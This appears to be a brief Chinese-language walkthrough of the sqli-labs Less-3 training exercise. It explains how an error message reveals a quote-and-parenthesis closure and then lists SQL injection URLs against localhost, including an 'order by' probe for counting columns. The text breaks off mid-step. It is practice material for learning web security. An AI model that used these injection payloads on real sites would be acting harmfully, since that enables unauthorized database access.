LESS-3
源码:
1、输入?Id=1’后出现错误
错误提示为”2”)LIMIT 0,1’.去掉前后两个单引号,和自己输入的一个单引号后还有两个单引号和一个括号,可推出sql注入中的由单引号和括号和起来的闭合模式。
2、输入:http://127.0.0.1/sqlilabs/Less-3/?id=2’)–+
url编码后:http://127.0.0.1/sqlilabs/Less-3/?id=2')–+
3、输入:http://127.0.0.1/sqlilabs/Less-3/?id=2’) order by 3 --+
URL编码后: